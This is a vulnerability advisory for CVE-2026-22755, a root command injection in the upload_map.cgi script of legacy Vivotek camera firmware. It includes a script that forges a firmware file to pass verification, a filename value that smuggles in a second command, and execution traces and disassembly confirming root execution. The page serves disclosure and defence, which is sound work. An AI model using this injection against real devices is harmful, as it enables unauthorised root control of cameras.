The VapidLabs Vulnerability Database

Vulnerabilities discovered by Larry W. Cashdollar

1 advisory Latest: 2026-01-08
Back to all advisories
Examine in ATT&CK and D3FEND: CVE2CAPEC

Legacy Vivotek Firmware Command Injection in upload_map.cgi

#965 · 2026-01-08
CVE ID(s): CVE-2026-22755
Notified: 2026-01-08
Description:
Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability in Vivotek Affected device model numbers are FD8365, FD8365v2, FD9165, FD9171, FD9187, FD9189, FD9365, FD9371, FD9381, FD9387, FD9389, FD9391,FE9180,FE9181, FE9191, FE9381, FE9382, FE9391, FE9582, IB9365, IB93587LPR, IB9371,IB9381, IB9387, IB9389, IB939,IP9165,IP9171, IP9172, IP9181, IP9191, IT9389, MA9321, MA9322, MS9321, MS9390, TB9330 (Firmware modules) allows OS Command Injection.This issue affects Affected device model numbers are FD8365, FD8365v2, FD9165, FD9171, FD9187, FD9189, FD9365, FD9371, FD9381, FD9387, FD9389, FD9391,FE9180,FE9181, FE9191, FE9381, FE9382, FE9391, FE9582, IB9365, IB93587LPR, IB9371,IB9381, IB9387, IB9389, IB939,IP9165,IP9171, IP9172, IP9181, IP9191, IT9389, MA9321, MA9322, MS9321, MS9390, TB9330: 0100a, 0106a, 0106b, 0107a, 0107b_1, 0109a, 0112a, 0113a, 0113d, 0117b, 0119e, 0120b, 0121, 0121d, 0121d_48573_1, 0122e, 0124d_48573_1, 012501, 012502, 0125c.
Exploit:
Because we were unable to obtain the specific model of camera of our own we configured a machine to emulate the architecture and environment of a vulnerable camera. 

The following criteria need to be met in order to exploit the vulnerability:
The file size must be under 5MB.
The calling script must be upload_map.cgi not file_manger.cgi you can’t access file_manager.cgi directly the code checks for this which I will highlight below.
The uploaded binary must pass a firmware verification check.
The /usr/sbin/confclient binary must be intact and return the following string capability_remotecamctrl_master=1
The boa webserver included in the firmware is customized and uses non standard environment variables to pass data to cgi-bin binaries.


#!/bin/bash
TEMP_DIR=/tmp
# Create a minimal firmware file
# The validate_firmware_file checks for magic bytes: FF V FF FF (at start) and FF K FF FF (at end)
echo "[*] Creating test firmware file..."

# Create fake firmware with proper magic bytes
FIRMWARE_FILE="$TEMP_DIR/firmware.bin"

# Write the magic header: FF V FF FF
printf '\xFF\x56\xFF\xFF' > "$FIRMWARE_FILE"

# Add padding and fake firmware data
dd if=/dev/zero bs=1 count=1000 >> "$FIRMWARE_FILE" 2>/dev/null

# Write the magic footer: FF K FF FF
printf '\xFF\x4B\xFF\xFF' >> "$FIRMWARE_FILE"

echo "[+] Firmware file created: $FIRMWARE_FILE"
ls -lh "$FIRMWARE_FILE"
echo ""

Bash script used to create valid dummy firmware images.


The CONTENT_LENGTH value just needs to be above 0 and below 5MB.

export REQUEST_METHOD=POST
export CONTENT_LENGTH=55123
export QUERY_STRING=camid=1
export SCRIPT_NAME=upload_map.cgi
export POST_FILE_NAME="test_firmware.bin;id;"
export SCRIPT_NAME=upload_map.cgi

The environment variables used to execute the cgi-bin binary.

# /usr/share/www/cgi-bin/upload_map.cgi
Content-type: text/html

<html>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><script type='text/javascript' src='/include/common.js'></script>
</head>
<body>upload_result='0';upload_msg='upload_successfully';ip='';port='0';username='';passwd='';</body></html>mv: missing destination file operand after 'test_firmware.bin'
Try 'mv --help' for more information.
uid=0(root) gid=0(root) groups=0(root)


The resulting output of id being passed into the system() function. 


[pid 360278] execve("/bin/sh", ["sh", "-c", "mv test_firmware.bin;id; /mnt/fl"...], 0x555587d277c0 /* 22 vars */ <unfinished ...>
[pid 360279] <... clock_nanosleep resumed> <unfinished ...>) = ?
[pid 360279] +++ exited with 0 +++
[pid 360278] <... execve resumed>)      = 0
[[pid 360278] newfstatat(AT_FDCWD, "/usr/bin/mv", {st_mode=S_IFREG|0755, st_size=137752, ...}, 0) = 0
[pid 360278] rt_sigprocmask(SIG_SETMASK, ~[RTMIN RT_1], NULL, 8) = 0
[pid 360278] vfork(strace: Process 360280 attached
 <unfinished ...>
[pid 360280] rt_sigprocmask(SIG_SETMASK, [], ~[KILL STOP RTMIN RT_1], 8) = 0
[pid 360280] execve("/usr/bin/mv", ["mv", "test_firmware.bin"], 0x60c637838788 /* 22 vars */ <unfinished ...>
[pid 360278] <... vfork resumed>)       = 360280
.
.
.
[pid 360280] write(2, "mv: ", 4mv: )        = 4
[pid 360280] write(2, "missing destination file operand"..., 58missing destination file operand after 'test_firmware.bin') = 58
[pid 360280] write(2, "\n", 1
)          = 1
[pid 360280] write(2, "Try 'mv --help' for more informa"..., 38Try 'mv --help' for more information.
) = 38

[pid 360281] rt_sigprocmask(SIG_SETMASK, [], ~[KILL STOP RTMIN RT_1], 8) = 0
[pid 360281] execve("/usr/bin/id", ["id"], 0x60c637838788 /* 22 vars */ <unfinished ...>
[pid 360278] <... vfork resumed>)       = 360281
[pid 360278] rt_sigprocmask(SIG_SETMASK, [], ~[KILL STOP RTMIN RT_1], 8) = 0
[pid 360278] wait4(-1,  <unfinished ...>
[pid 360281] <... execve resumed>)      = 0
.
.
.
[pid 360281] close(4)                   = 0
[pid 360281] write(1, "uid=0(root) gid=0(root) groups=0"..., 39uid=0(root) gid=0(root) groups=0(root)
) = 39


Notes:
snprintf() is being used to format the string “mv %s %s” with user supplied input and then that string is passed to the system() function.  This is where our command injection occurs. By supplying a specially crafted filename with shell commands embedded in it we can execute commands as the http servers user id which is root.
  0x00009a84      e4109fe5       ldr r1, [0x00009b70]        ; [0x9b70:4]=511
  0x00009a88      e4209fe5       ldr r2, str.mv__s__s        ; [0xc348:4]=0x2520766d ; "mv %s %s"
  0x00009a8c      00308de5       str r3, [sp]
  0x00009a90      de0f8de2       add r0, var_378h
  0x00009a94      0930a0e1       mov r3, sb                  ; 0xc44c ; "POST_FILE_NAME"
  0x00009a98      effbffeb       bl sym.imp.snprintf
  0x00009a9c      de0f8de2       add r0, var_378h
  0x00009aa0      05fcffeb       bl sym.imp.system
Credit ID: 1